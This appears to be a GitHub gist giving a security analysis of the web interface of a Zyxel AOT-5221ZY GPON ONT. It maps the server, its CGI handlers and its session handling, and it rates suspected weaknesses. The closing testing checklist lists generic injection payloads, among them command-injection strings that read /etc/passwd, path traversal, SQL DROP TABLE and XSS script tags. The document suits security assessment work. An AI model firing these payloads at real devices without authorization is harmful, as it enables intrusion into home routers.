Skip to content

Instantly share code, notes, and snippets.

@ankurpandeyvns

ankurpandeyvns/Zyxel_WebUI_Complete_Analysis.md

Created October 6, 2025 05:11
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save ankurpandeyvns/e4ac2e2b2bbe4a2a9ee40a5c6cfa0c33 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save ankurpandeyvns/e4ac2e2b2bbe4a2a9ee40a5c6cfa0c33 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Zyxel_WebUI_Complete_Analysis.md

Zyxel AOT-5221ZY - Complete Web Interface Analysis

Device: Zyxel AOT-5221ZY GPON ONT/ONU Analysis Date: 2025-10-06 Web Root: /usr/shared/web/

Table of Contents

  1. Executive Summary
  2. Web Server Architecture
  3. Web Interface Structure
  4. Page Organization
  5. CGI Backend Handlers (Complete List)
  6. Frontend Technologies
  7. Authentication & Session Management
  8. Security Analysis
  9. Frontend-Backend Validation Analysis
  10. API Endpoints
  11. Data Flow
  12. Vulnerabilities & Security Gaps
  13. Configuration Files

Executive Summary

The Zyxel AOT-5221ZY web interface is a CGI-based system using:

  • Web Server: mini_httpd (custom fork, version 1.30)
  • Frontend: jQuery-based UI with JSON-driven dynamic pages
  • Backend: 211 compiled C CGI binaries
  • Data Model: TR-069/USP (InternetGatewayDevice) OID structure
  • Session Management: Cookie-based with SessionKey validation
  • Default Configuration: Movistar/Telefonica branding, Portuguese/English language

Total Web Components Found:

  • 211 CGI binaries
  • 38+ JSON tab definition files
  • 50+ JavaScript files
  • Hundreds of HTML fragments embedded in CGI binaries

Web Server Architecture

mini_httpd Configuration

Binary: /usr/bin/mini_httpd (78 KB)

Configuration Files (runtime):

  • /etc/mini_httpd1.conf - Primary HTTP server
  • /etc/mini_httpd2.conf - Secondary HTTP server (remote management)
  • /etc/mini_httpd3.conf - Additional instance
  • /etc/mini_httpd4.conf - Additional instance

PID Files:

  • /tmp/mini_httpd1.pid
  • /tmp/mini_httpd2.pid
  • /tmp/mini_httpd3.pid
  • /tmp/mini_httpd4.pid

Log Files:

  • /tmp/mini_httpd%d.log

SSL Certificate:

  • /etc/mycert/web.pem (3,146 bytes)
  • Symlinked as /usr/shared/web/httpsCert.pem

Server Features

Supported Methods:

  • GET
  • POST

Content Types:

  • text/html; charset=ISO-8859-1
  • text/html; charset=%s (configurable)
  • text/plain; charset=%s
  • application/log
  • application/certification
  • config/conf

CGI Support:

  • CGI/1.1 interface
  • Environment variables: GATEWAY_INTERFACE, SERVER_PROTOCOL, PATH_INFO
  • Binary path: /usr/local/bin:/usr/ucb:/bin:/usr/bin:/usr/sbin
  • Library path: /lib:/usr/lib:/lib/MSTC:/usr/lib/MSTC

Special Paths:

  • /cgi-bin/ - Main CGI directory
  • /mhs/APIS/ - Management API
  • /mhs/jsps/ - JSP-style pages
  • /pages/ - HTML page fragments
  • /html/ - Static resources

Temporary Files:

  • /tmp/.web_rcf - Web RCF (Runtime Configuration)
  • /tmp/.webpipe - Web IPC pipe
  • /tmp/TemporaryUseFile - Temporary upload storage
  • /var/zerotouch.json - Zero-touch provisioning data

Web Interface Structure

/usr/shared/web/
├── html/                          # Frontend static files
│   ├── index.html                 # Entry point (redirects to indexmain.cgi)
│   ├── loginsum.html              # Login summary page
│   ├── bgiframe.htm               # Background iframe
│   ├── config.json                # Application configuration
│   ├── css/                       # Stylesheets
│   ├── js/                        # JavaScript files (50+ files)
│   ├── images/                    # Image assets
│   ├── style/                     # Theme styles
│   │   └── Zyxel/                # Zyxel branding theme
│   └── pages/                     # Page definitions
│       ├── network/
│       ├── security/
│       ├── maintenance/
│       ├── voip/
│       ├── systemMonitoring/
│       ├── tabFW/
│       └── VD/
├── cgi-bin/                       # Backend CGI binaries (211 files)
│   ├── indexmain.cgi             # Main dashboard
│   ├── login_advance.cgi         # Login handler
│   ├── logout_advance.cgi        # Logout handler
│   ├── menuJson.cgi              # Menu structure provider
│   └── [208 more CGI binaries]
├── TabJson/                       # Tab configuration storage
├── httpsCert.pem -> /etc/mycert/httpsCert.pem
├── romfile.cfg -> /var/config.cfg
├── romd.cfg -> /tmp/mrdcert
├── System.log -> /var/log/System.log
├── ExtractLog.tar.gz -> /tmp/ExtractLog.tar.gz
└── zerotouch.json -> /var/zerotouch.json

Page Organization

Main Categories

The web interface is organized into major functional categories:

1. Network Configuration (/pages/network/)

Sub-sections:

  • Broadband - WAN connectivity, PPPoE, DHCP, 3G backup

    • Handler: broadband.cgi
    • JSON: network/broadband/tab.json
    • Features: Connection management, 3G fallback support

  • Home Networking - LAN, DHCP server, IP configuration

    • Handler: lanSetup.cgi, ipv6LanSetup.cgi
    • JSON: network/homeNetworking/tab.json, tab_QInQ.json, tab_no_USB.json
    • Features: IPv4/IPv6 dual-stack, QinQ VLAN support

  • Wireless - 2.4GHz WiFi settings

    • Handlers: wlan_general.cgi, wlan_MACAuthentication.cgi, wlan_wps.cgi
    • JSON: network/wireless/tab.json, tab_no_Scheduling.json
    • Features: WPS, MAC filtering, guest networks

  • Wireless 5G - 5GHz WiFi settings

    • Handlers: wlan5_general.cgi, wlan5_MACAuthentication.cgi, wlan5_wps.cgi
    • JSON: network/wireless5G/tab.json

  • Wireless EasyMesh - WiFi mesh networking

    • Handler: EasyMesh.cgi
    • JSON: network/wirelessEasyMesh/tab.json
    • Features: IEEE 1905.1 Multi-AP coordination

  • Wireless Scheduling - Time-based WiFi control

    • Handlers: wlan_scheduling.cgi, wlan_schedule_add.cgi
    • JSON: network/wirelessScheduling/tab.json

  • QoS - Quality of Service

    • Handlers: qos_general.cgi, qos_class.cgi, qos_queue.cgi, qos_shaper.cgi
    • JSON: network/qos/tab.json
    • Features: Traffic prioritization, bandwidth shaping

  • NAT - Network Address Translation

    • Handlers: NAT_General.cgi, NAT_AddrMapping.cgi, portForwarding.cgi, dmz.cgi
    • JSON: network/nat/tab.json
    • Features: Port forwarding, port triggering, DMZ, address mapping

  • Routing - Static routes, DNS routing

    • Handlers: static.cgi, dns_routing.cgi
    • JSON: network/routing/tab.json
    • Features: IPv4/IPv6 static routes, policy routing

  • Port Binding - VLAN/port association

    • Handler: portbinding.cgi (inferred)
    • JSON: network/portbinding/tab.json

  • Tunnel - GRE tunnels, IP tunnels

    • Handlers: gretunnel.cgi, ipTunnel.cgi
    • JSON: network/tunnel/tab.json, tab_gre_tunnel.json

  • VPN Server - VPN service configuration

    • Handler: VPN-related CGIs (inferred)
    • JSON: network/VPNServer/tab.json

2. Security (/pages/security/)

Sub-sections:

  • Firewall - Firewall rules and policies

    • Handlers: Multiple TELFirewall_.cgi and TR181Firewall_.cgi
    • JSON: security/firewall/tab.json, security/TEF181firewall/tab.json, security/TR181firewall/tab.json
    • Features: Stateful packet inspection, DoS protection
    • Note: Multiple firewall implementations (legacy TEL, TR-181 compliant)

  • Filter - MAC/IP filtering

    • Handlers: IP_MAC_Filter.cgi, ipMacFilterList.cgi
    • JSON: security/filter/tab.json

  • URL Filter - Web content filtering

    • Handlers: URL_Filter.cgi, URL_Filter_Edit.cgi, Keyword_Filter_list.cgi
    • JSON: security/urlfilter/tab.json
    • Features: Keyword blocking, domain filtering

  • Parental Control - Time-based access control

    • Handlers: ParentalControl.cgi, ParentalControladd.cgi
    • JSON: security/parentalcontrol/tab.json

  • Certificates - SSL/TLS certificate management

    • Handlers: localCA.cgi, trustedCA.cgi, sshCA_list.cgi
    • JSON: security/certificates/tab.json
    • Features: Local CA, trusted CA, SSH key management

3. VoIP (/pages/voip/)

Sub-sections:

  • SIP - SIP service provider settings

    • Handlers: sipServiceProvider.cgi, sipServiceProvider_setting.cgi, SIP_ALG.cgi
    • JSON: voip/sip/tab.json

  • Phone - VoIP phone configuration

    • Handler: phone.cgi
    • JSON: voip/phone/tab.json
    • Features: FXS port configuration, codec settings

  • Call Rules - Call routing and rules

    • Handlers: callRule.cgi, callRule_CO.cgi
    • JSON: voip/callrule/tab.json, tab_Unify_CO.json

  • Call History - Call logs and records

    • Handler: Call history CGI (inferred)
    • JSON: voip/callhistory/tab.json

4. System Monitoring (/pages/systemMonitoring/)

Sub-sections:

  • Traffic Status - Network traffic statistics

    • Handlers: traffic_wan.cgi, traffic_lan.cgi, traffic_nat.cgi
    • JSON: systemMonitoring/trafficStatus/tab.json

  • Log - System log viewer

    • Handlers: viewlog.cgi, ViewSyslog.cgi
    • JSON: systemMonitoring/log/tab.json

  • VoIP Status - VoIP connection status

    • Handlers: VoIPStatus.cgi, VoIPStatus_list.cgi
    • JSON: systemMonitoring/VoIPStatus/tab.json

5. Maintenance (/pages/maintenance/)

Sub-sections:

  • Remote Management - Remote access configuration

    • Handlers:
      • RemMagGeneral.cgi - General remote management
      • RemMagWWW.cgi - Web interface access
      • RemMagWWW4Airtel.cgi - Airtel-specific web access
      • RemMagSNMP.cgi - SNMP configuration
      • RemMagDNS.cgi - DNS configuration
      • RemMagICMP.cgi - ICMP (ping) configuration
      • RemMagSSH.cgi - SSH access
      • RemMagTELNET.cgi - Telnet access
    • JSON: maintenance/remotemgmt/tab.json, tab4Airtel.json, noSSH.json
    • Features: Multi-protocol remote access control

  • Device Configuration - Backup/restore, factory reset

    • Handlers: backupRestore.cgi, reboot.cgi
    • JSON: maintenance/deviceConfiguration/tab.json

  • Diagnostic - Network diagnostics

    • Handlers: DiagGeneral.cgi, ping.cgi, mirror.cgi
    • JSON: maintenance/disagnostic/tab.json
    • Features: Ping, traceroute, port mirroring

  • Log Settings - Logging configuration

    • Handler: logSet.cgi
    • JSON: maintenance/logSetting/tab.json

6. Advanced/Special Pages

  • tabFW - Framework/template pages

    • Handler: tabFW.cgi
    • JSON: tabFW/tab.json

  • VD (Vendor Customization) - Vendor-specific branding

    • Handlers: vd.cgi, vdview.cgi
    • Variants: P-660HNU-F1 specific customization

CGI Backend Handlers (Complete List)

All 211 CGI Binaries

Login/Authentication:

  • login_advance.cgi - Main login handler
  • logout_advance.cgi - Logout handler
  • passLogout.cgi - Password logout
  • doregister.cgi - Registration handler
  • clear_first_access.asp - First access flag clear

Main Interface:

  • indexmain.cgi - Main dashboard/homepage
  • menuJson.cgi - Dynamic menu generation
  • naviView_partialLoad.cgi - Navigation partial loading
  • info.cgi - System information
  • current.cgi - Current status
  • statusview.cgi - Status view
  • networkMap.cgi - Network topology map

Network - Broadband/WAN:

  • broadband.cgi - WAN configuration
  • connection_icon_list.cgi - Connection status icons
  • connection_table_list.cgi - Connection table
  • connectionStatus_p1.cgi - Connection status page 1
  • wanRemoteNode_ETH_Edit.cgi - Ethernet WAN edit
  • wanRemoteNode_GPON_Edit.cgi - GPON WAN edit

Network - LAN:

  • lanSetup.cgi - LAN configuration (IPv4)
  • ipv6LanSetup.cgi - LAN configuration (IPv6)
  • dhcp_static_list.cgi - DHCP static leases list
  • staticDHCP_add.cgi - Add DHCP static lease
  • staticDHCP.cgi - DHCP static configuration

Network - Wireless 2.4GHz:

  • wlan_general.cgi - General WiFi settings
  • wlan_MACAuthentication.cgi - MAC authentication
  • wlan_macfilter_add.cgi - Add MAC filter
  • wlan_macfilter_edit.cgi - Edit MAC filter
  • wlan_mac_address_list.cgi - MAC address list
  • wlan_mac_address_list1.cgi - MAC list (radio 1)
  • wlan_mac_address_list2.cgi - MAC list (radio 2)
  • wlan_mac_address_list3.cgi - MAC list (radio 3)
  • wlan_moreAP.cgi - Multi-AP/Guest network
  • wlan_moreap_edit.cgi - Edit multi-AP
  • wlan_others.cgi - Other wireless settings
  • wlan_wps.cgi - WPS configuration
  • wlan_wpsinfo.cgi - WPS information
  • wlan_WpsStatus.cgi - WPS status
  • wlan_WPStimerRunning.cgi - WPS timer status
  • wlan_staionInfo.cgi - Station information
  • wlan_staionInfo_list.cgi - Station list
  • wlan_staionInfo_list1.cgi - Station list (radio 1)
  • wlan_staionInfo_list2.cgi - Station list (radio 2)
  • wlan_staionInfo_list3.cgi - Station list (radio 3)
  • moreApStatus.cgi - Multi-AP status

Network - Wireless 5GHz:

  • wlan5_general.cgi - 5GHz general settings
  • wlan5_MACAuthentication.cgi - 5GHz MAC auth
  • wlan5_macfilter_add.cgi - Add 5GHz MAC filter
  • wlan5_macfilter_edit.cgi - Edit 5GHz MAC filter
  • wlan5_mac_address_list.cgi - 5GHz MAC list
  • wlan5_mac_address_list1.cgi - 5GHz MAC list (radio 1)
  • wlan5_mac_address_list2.cgi - 5GHz MAC list (radio 2)
  • wlan5_mac_address_list3.cgi - 5GHz MAC list (radio 3)
  • wlan5_moreAP.cgi - 5GHz multi-AP
  • wlan5_moreap_edit.cgi - Edit 5GHz multi-AP
  • wlan5_others.cgi - Other 5GHz settings
  • wlan5_wps.cgi - 5GHz WPS
  • wlan5_wpsinfo.cgi - 5GHz WPS info
  • wlan5_WpsStatus.cgi - 5GHz WPS status
  • wlan5_WPStimerRunning.cgi - 5GHz WPS timer
  • wlan5_staionInfo.cgi - 5GHz station info
  • wlan5_staionInfo_list.cgi - 5GHz station list
  • wlan5_staionInfo_list1.cgi - 5GHz station list (radio 1)
  • wlan5_staionInfo_list2.cgi - 5GHz station list (radio 2)
  • wlan5_staionInfo_list3.cgi - 5GHz station list (radio 3)

Network - Wireless Scheduling:

  • wlan_scheduling.cgi - WiFi schedule
  • wlan_schedule_add.cgi - Add schedule
  • wlan_schedule_edit.cgi - Edit schedule
  • wlan_schedule_delete.cgi - Delete schedule
  • schedule_list.cgi - Schedule list

Network - EasyMesh:

  • EasyMesh.cgi - EasyMesh configuration

Network - QoS:

  • qos_general.cgi - QoS general settings
  • qos_class.cgi - QoS classification
  • qos_queue.cgi - QoS queue management
  • qos_shaper.cgi - Traffic shaping
  • qos_class_add.cgi - Add QoS class
  • queue_add.cgi - Add queue
  • shaper_add.cgi - Add shaper

Network - NAT:

  • NAT_General.cgi - NAT general settings
  • NAT_AddrMapping.cgi - Address mapping
  • nat.cgi - NAT configuration
  • portForwarding.cgi - Port forwarding
  • portForwarding_add.cgi - Add port forward
  • portForwarding_edit.cgi - Edit port forward
  • port_forwarding_list.cgi - Port forward list
  • port_forwarding_delete.cgi - Delete port forward
  • portTriggering.cgi - Port triggering
  • portTriggering_add.cgi - Add port trigger
  • portTriggering_edit.cgi - Edit port trigger
  • port_Triggering_list.cgi - Port trigger list
  • dmz.cgi - DMZ host configuration
  • addrMap_add.cgi - Add address mapping

Network - Routing:

  • static.cgi - Static routes
  • static_route_list.cgi - Static route list
  • static_add.cgi - Add static route
  • ipv6static.cgi - IPv6 static routes
  • ipv6static_add.cgi - Add IPv6 static route
  • ipv6_static_route_list.cgi - IPv6 route list
  • dns_routing.cgi - DNS routing
  • dns_routing_add.cgi - Add DNS route
  • dns_route_list.cgi - DNS route list

Network - Tunnel:

  • gretunnel.cgi - GRE tunnel config
  • gretunnel_add.cgi - Add GRE tunnel
  • gretunnel_list.cgi - GRE tunnel list
  • ipTunnel.cgi - IP tunnel config

Network - Other:

  • dynamicDNS_InadynV2.cgi - Dynamic DNS (Inadyn v2)
  • dynamicDNS_InterfaceIndex.cgi - DDNS interface
  • ipalias.cgi - IP alias configuration
  • upnp.cgi - UPnP configuration
  • current_upnp_table.cgi - Current UPnP mappings

Security - Firewall:

  • TELFirewall_general.cgi - TEF firewall general
  • TELFirewall_DoS.cgi - DoS protection
  • TELFirewall_DoS_Adv.cgi - Advanced DoS
  • TELFirewall_FrwlEdit.cgi - Edit firewall
  • TELFirewall_RuleEdit.cgi - Edit rule
  • TELFirewall_RuleSIndex.cgi - Rule index
  • TELFirewall_RuleSum.cgi - Rule summary
  • TELFirewall_RuleSum_frame.cgi - Rule summary frame
  • TELFirewall_RuleTable.cgi - Rule table
  • TELFirewall_Table.cgi - Firewall table
  • TELFirewall_InterfaceIndex.cgi - Interface index
  • TELFirewall_IntfDirIndex.cgi - Interface direction
  • TELFirewall_ServiceIndex.cgi - Service index
  • TR181Firewall.cgi - TR-181 firewall
  • TR181Firewall_RuleEdit.cgi - TR-181 rule edit

Security - Filter:

  • IP_MAC_Filter.cgi - IP/MAC filtering
  • ipMacFilterList.cgi - IP/MAC filter list
  • URL_Filter.cgi - URL filtering
  • URL_Filter_Edit.cgi - Edit URL filter
  • URL_Filter_list.cgi - URL filter list
  • URL_Filter_delete.cgi - Delete URL filter
  • Keyword_Filter_list.cgi - Keyword filter list

Security - Parental Control:

  • ParentalControl.cgi - Parental control
  • ParentalControladd.cgi - Add parental control
  • ParentalControl_view.cgi - View parental control

Security - Certificates:

  • localCA.cgi - Local CA management
  • localCA_frame.cgi - Local CA frame
  • trustedCA.cgi - Trusted CA management
  • trustedCA_add.cgi - Add trusted CA
  • trustedCA_view.cgi - View trusted CA
  • sshCA_list.cgi - SSH CA list

VoIP - SIP:

  • sipServiceProvider.cgi - SIP provider config
  • sipServiceProvider_setting.cgi - SIP provider settings
  • sipServiceProvider_list.cgi - SIP provider list
  • sipAccount.cgi - SIP account config
  • sipAccount_setting.cgi - SIP account settings
  • sipAccount_list.cgi - SIP account list
  • SIP_ALG.cgi - SIP ALG configuration

VoIP - Phone:

  • phone.cgi - Phone configuration

VoIP - Call Rules:

  • callRule.cgi - Call rules
  • callRule_CO.cgi - Call rules (CO variant)

VoIP - Status:

  • VoIPStatus.cgi - VoIP status
  • VoIPStatus_list.cgi - VoIP status list

System Monitoring - Traffic:

  • traffic_wan.cgi - WAN traffic
  • traffic_wan_frame1.cgi - WAN traffic frame 1
  • traffic_wan_frame2.cgi - WAN traffic frame 2
  • traffic_lan.cgi - LAN traffic
  • traffic_lan_frame.cgi - LAN traffic frame
  • traffic_nat.cgi - NAT traffic

System Monitoring - Logs:

  • viewlog.cgi - View logs
  • ViewSyslog.cgi - View syslog

Maintenance - Remote Management:

  • RemMagGeneral.cgi - General remote mgmt
  • RemMagWWW.cgi - Web remote access
  • RemMagWWW4Airtel.cgi - Web access (Airtel)
  • RemMagSNMP.cgi - SNMP configuration
  • RemMagDNS.cgi - DNS configuration
  • RemMagICMP.cgi - ICMP/Ping configuration
  • RemMagSSH.cgi - SSH access
  • RemMagTELNET.cgi - Telnet access

Maintenance - Device Config:

  • backupRestore.cgi - Backup/restore
  • reboot.cgi - Reboot device
  • rebootinfo.cgi - Reboot information
  • system.cgi - System configuration
  • time.cgi - Time/NTP configuration

Maintenance - Diagnostics:

  • DiagGeneral.cgi - General diagnostics
  • ping.cgi - Ping tool
  • mirror.cgi - Port mirroring

Maintenance - Logs:

  • logSet.cgi - Log settings
  • zlog.cgi - Zlog configuration

Maintenance - Firmware:

  • firewareUpgrade.cgi - Firmware upgrade (typo in original)
  • Fireware_UpgradesManaged.cgi - Managed firmware upgrade

TR-069/USP Management:

  • tr69cfg.cgi - TR-069 configuration
  • tr369.cgi - TR-369/USP configuration
  • agentMTP.cgi - USP agent MTP
  • agentMTP_list.cgi - USP agent MTP list
  • controller.cgi - USP controller
  • controller_list.cgi - USP controller list
  • stompConn.cgi - STOMP connection
  • stompConn_list.cgi - STOMP connection list
  • mqttClient.cgi - MQTT client
  • mqttClient_list.cgi - MQTT client list

File Sharing:

  • fileSharing.cgi - File sharing config
  • fileSharing_add.cgi - Add file share
  • fileSharing_mod.cgi - Modify file share
  • fileSharing_del.cgi - Delete file share
  • fileSharing_list.cgi - File share list
  • fileSharing_browse.cgi - Browse file shares
  • fileuser_add.cgi - Add file user
  • fileuser_mod.cgi - Modify file user
  • fileuser_del.cgi - Delete file user
  • fileuser_list.cgi - File user list
  • printServer.cgi - Print server config

User Management:

  • userAccount.cgi - User account management

PCP (Port Control Protocol):

  • PCP_ClientListIndex.cgi - PCP client list
  • PCP_ClientListIndex_view.cgi - PCP client view
  • PCP_list.cgi - PCP list
  • pcplist.cgi - PCP list (alternate)

GPON Specific:

  • gponPassword.cgi - GPON password config

Vendor/Custom:

  • vd.cgi - Vendor customization
  • vdview.cgi - Vendor view
  • tabFW.cgi - Tab framework

Utility/Framework:

  • delete.cgi - Generic delete handler
  • delete_RuleSum.cgi - Delete rule summary
  • autofw_notify.asp - Auto-forward notification
  • autofw_notify_check.asp - Auto-forward check

Frontend Technologies

JavaScript Framework Stack

Core Libraries:

  • jQuery 1.3.2 (jquery-1.3.2.min.js)
  • jQuery 1.6.3 (jquery-1.6.3.min.js)
  • jQuery 3.6.0 (jquery-3.6.0.min.js) ⚠️ Multiple jQuery versions loaded
  • jQuery 3.6.3 (jquery-3.6.3.min.js)
  • jQuery Migrate 1.4.1 (compatibility layer)

jQuery UI:

  • jquery-ui-1.7.2.custom.min.js
  • jquery-ui-dialog.min.js
  • jquery-ui-slider.min.js

jQuery Plugins:

  • jquery.tablesorter.min.js - Table sorting
  • jquery.validate.pack.js - Form validation
  • jquery.cookie.js - Cookie management
  • jquery.tooltip.min.js - Tooltips
  • jquery.simplemodal-1.3.min.js - Modal dialogs
  • jquery.clickmenu.pack.js - Click menus
  • jquery.bgiframe.pack.js - IE6 iframe fix
  • jquery.pngFix.pack.js - PNG transparency fix
  • jquery.layout.js - Page layout
  • jquery.easing.1.3.js - Animation easing
  • jquery.mousewheel.js - Mouse wheel support
  • jquery.getParams.js - URL parameter parsing
  • jquery.jgrowl.joze_mini.js - Notifications
  • jquery.watermarkinput.js - Input placeholders
  • jquery.text-overflow.js - Text truncation
  • jquery.tools.min_tab.js - Tab interface
  • jquery.zyCheckTree.js - Zyxel custom tree component

Custom Zyxel JavaScript:

  • zyjs/ - Zyxel JavaScript library directory
  • zyJqFunctions.js - Zyxel jQuery extensions
  • zyMacUi.js - MAC address UI components
  • zyMask.js - Input masking
  • zyUiDialog.js - Custom dialogs

Application Logic:

  • common.js - Common utilities
  • functions.js - General functions
  • General.js - General application logic
  • javascript.js - Main application code
  • jsonParser.js - JSON parsing
  • jsl.js - JavaScript library extensions
  • util.js - Utility functions
  • security.js - Security functions
  • wireless.js - Wireless-specific logic
  • VD.js - Vendor customization logic
  • portDef.js - Port definitions
  • TimeZone.js - Timezone handling
  • switch.js - Switch/toggle components
  • ip_new.js - IP address handling
  • loadingMask.js - Loading overlays
  • userSwitchPanel.js - User switching
  • Multi_Language.js - Internationalization

Framework Components:

  • brickRichMenu.js - Menu component
  • iframe.jquery.js - iframe utilities
  • tools.scrollable-1.1.0.min.js - Scrolling

CSS Styling

Location: /usr/shared/web/html/css/

Themes:

  • Zyxel branding theme in /style/Zyxel/
  • Movistar branding (default per config.json)

Language Support

Supported Languages:

  • English (en) - language.en.json
  • Portuguese (pt) - language.pt.json (default)

Default Configuration:

  • Language: Portuguese
  • Branding: Movistar (Telefonica Spain/Latin America)
  • Country: ES (Spain)

Authentication & Session Management

Login Flow

Entry Point:

  1. User accesses /index.html
  2. Redirects to /cgi-bin/indexmain.cgi
  3. If not authenticated, redirects to /cgi-bin/login_advance.cgi
  4. Login page displays login form

Login Handler: login_advance.cgi

Login Process:

User Input (username/password)
    ↓
POST to login_advance.cgi
    ↓
Backend validation (libwebutil.so)
    ↓
Check username/password against:
    - /etc/config/rpcd (root user)
    - Virtual user database
    - PAM authentication
    ↓
If valid:
    - Generate SessionKey
    - Set HTTP cookie (session=SessionKey)
    - Store session in /tmp/session_*
    - Redirect to indexmain.cgi
    ↓
If invalid:
    - Return to login page with error

Session Management

Session Cookie:

  • Name: session
  • Value: SessionKey (random token)
  • Path: /
  • Secure: HTTPS only (if configured)

Session Functions (libwebutil.so):

Session Creation:

  • cgiValidateAddSessionKey - Add new session
  • cgiHeaderCookieSetString - Set cookie header
  • cgiGetCurrSessionKey - Get current session key

Session Validation:

  • cgiSessionCheck - Validate session on each request
  • cgiValidateLocalSessionKey - Validate local session
  • CookieGet - Get cookie value
  • getSessionFilePathFromCookie - Resolve session file

Session Cleanup:

  • cgiSessionClean - Clean expired sessions

Session Storage:

  • Session files likely in /tmp/session_* or /var/run/
  • Contains: SessionKey, CurrSessionTime, SessionIP

Session Timeout:

  • Configured in config.json: "SessionMaxTime": 600 (10 minutes)
  • Warning before timeout: "SessionWarning": false (disabled)

Session Security:

  • IP address validation (SessionIP)
  • Timestamp validation (CurrSessionTime)
  • SessionKey randomness check
  • Automatic lockout: SessionLockedState, SessionLockedTime

Authentication Bypass Checks

Paths Checked:

  • /cgi-bin/login_advance.cgi - Login required
  • /cgi-bin/logout_advance.cgi - Always accessible
  • Static resources (css, js, images) - Typically no auth required
  • Error pages - No auth required

Potential Bypasses (to test):

  • Direct CGI access without session cookie
  • Session fixation attacks
  • CSRF token absence
  • Cookie tampering

Default Credentials

From rpcd config (/etc/config/rpcd):

config login
    option username 'root'
    option password '$p$root'
    list read '*'
    list write '*'

Username: root Password Hash: $p$root - This appears to be a placeholder/template

Actual Password:

  • Not hardcoded in firmware
  • Set during provisioning or first login
  • May default to device-specific value (serial number, etc.)

Permissions:

  • Full read access: '*'
  • Full write access: '*'

Security Analysis

Implemented Security Features

✅ Session-Based Authentication

  • Cookie-based sessions with SessionKey
  • IP address binding
  • Timeout enforcement (10 minutes default)
  • Session locking mechanism

✅ HTML Escaping

  • escape_html() function in libwebutil
  • cgiHtmlEscape() for CGI output
  • escapeBackslash4JS() for JavaScript context

✅ HTTPS Support

  • SSL certificate: /etc/mycert/web.pem
  • mini_httpd supports HTTPS

✅ Access Control

  • Per-user read/write permissions (rpcd)
  • Login privilege management (OID: LoginPrivilegeMgmt)

✅ Input Validation

  • check_value() function
  • checkUsedLanguage() for language validation
  • checkTimeOut() for session timeout

✅ Anti-Automation

  • Session locking after failed attempts
  • Timeout enforcement

Security Vulnerabilities & Gaps

CRITICAL

❌ Weak Default Password Hash

  • Password hash in rpcd config: $p$root
  • Format suggests weak or placeholder hash
  • Risk: Brute-force attack, rainbow tables

❌ Multiple jQuery Versions

  • jQuery 1.3.2 (released 2009) - Known XSS vulnerabilities
  • jQuery 1.6.3 (2011) - CVE-2011-4969 (XSS)
  • jQuery 3.6.0/3.6.3 - Relatively current
  • Risk: XSS exploitation via old jQuery

❌ No CSRF Protection Observed

  • No CSRF token generation found
  • No CSRF validation in CGI handlers
  • Risk: Cross-site request forgery attacks

HIGH

⚠️ Inconsistent Validation

  • Some CGI binaries may lack input validation
  • Frontend validation != backend validation
  • Need to audit: Each CGI for proper input sanitization

⚠️ Session Storage Location Unknown

  • Session files location not confirmed
  • Might be predictable paths in /tmp/
  • Risk: Session hijacking if files world-readable

⚠️ HTTP Credential Transmission

  • If HTTPS not enforced, credentials sent in clear
  • No evidence of forced HTTPS redirect
  • Risk: Man-in-the-middle attacks

⚠️ Embedded HTML in Binaries

  • HTML templates embedded in CGI binaries
  • Difficult to audit for XSS
  • Risk: Persistent XSS if templates have vulnerabilities

MEDIUM

⚠️ Multiple HTTP Server Instances

  • 4 mini_httpd instances possible
  • Different configurations may have different security
  • Risk: Inconsistent security posture

⚠️ Old SSL/TLS Libraries Possible

  • Firmware from 2024 but may use old libraries
  • Need to check: OpenSSL/LibreSSL version in libcrypto

⚠️ No Rate Limiting Observed

  • Login endpoint may lack rate limiting
  • Risk: Brute-force attacks

⚠️ Verbose Error Messages

  • Debug strings in binaries
  • May leak sensitive information
  • Risk: Information disclosure

LOW

⚠️ Debug Features Present

  • isDebugVersionFW flag found
  • Debug-specific CGI paths
  • Risk: Debug endpoints may bypass security

⚠️ Telnet Support

  • RemMagTELNET.cgi suggests Telnet support
  • Risk: Unencrypted remote access

Frontend-Backend Validation Analysis

Validation Patterns

Frontend Validation (JavaScript)

Found in jQuery Validate plugin:

  • Form field validation
  • Input format checking
  • Client-side sanitization

Limitations:

  • ✗ Can be bypassed via browser DevTools
  • ✗ Can be bypassed by direct HTTP requests
  • ✗ Not security-relevant (convenience only)

Backend Validation (CGI/C)

Functions Found:

  • check_value() - Generic value checking
  • cgiHtmlEscape() - HTML entity encoding
  • escape_html() - HTML escaping
  • escapeBackslash4JS() - JavaScript escaping

OID Validation:

  • All CGI access data via OID (InternetGatewayDevice.*)
  • OID layer may provide validation
  • Functions: cccRdmGetObjectByOID(), cccRdmGetObjListByOID()

Validation Gap Analysis

Methodology: To identify frontend/backend validation gaps, the following tests should be performed:

  1. Bypass Frontend Validation:

    • Capture legitimate request in browser
    • Modify POST data to invalid values
    • Submit directly via curl/Burp
    • Check if backend accepts invalid data

  2. Parameter Tampering:

    • Add extra parameters
    • Remove required parameters
    • Change parameter types (string→number, etc.)

  3. Boundary Testing:

    • Oversized inputs (buffer overflow)
    • Special characters injection
    • Null bytes, Unicode edge cases

Suspected Vulnerable Endpoints

Based on naming and common patterns:

High Priority for Testing:

  1. File Upload Handlers:

    • firewareUpgrade.cgi (firmware upload)
    • backupRestore.cgi (config upload)
    • ⚠️ Risk: Path traversal, malicious file upload

  2. Command Injection Candidates:

    • ping.cgi - May execute system ping command
    • DiagGeneral.cgi - May execute diagnostic commands
    • ⚠️ Risk: Command injection via unsanitized input

  3. SQL Injection Candidates (if DB used):

    • Any CGI with _list suffix (queries)
    • Filter/search functions
    • ⚠️ Risk: SQL injection (if using SQL database)

  4. Path Traversal:

    • fileSharing_browse.cgi - File browsing
    • viewlog.cgi - Log file access
    • ⚠️ Risk: Directory traversal to access sensitive files

  5. XSS Candidates:

    • Any CGI that echoes user input
    • menuJson.cgi - Dynamic content generation
    • naviView_partialLoad.cgi - Partial page loads
    • ⚠️ Risk: Reflected/Stored XSS

Recommended Testing

For Each CGI:

  1. Intercept legitimate request
  2. Test with:
    • SQL injection payloads: ' OR '1'='1, '; DROP TABLE--
    • Command injection: ; ls, | cat /etc/passwd, `whoami`
    • Path traversal: ../../../etc/passwd, ..\\..\\windows\\system32
    • XSS payloads: <script>alert(1)</script>, <img src=x onerror=alert(1)>
    • Buffer overflow: Very long strings (10KB+)
    • Format strings: %s%s%s%n
    • Null bytes: file.txt\0.jpg
  3. Check response for:
    • Execution indicators (error messages, timing)
    • Reflected input (XSS)
    • File disclosure
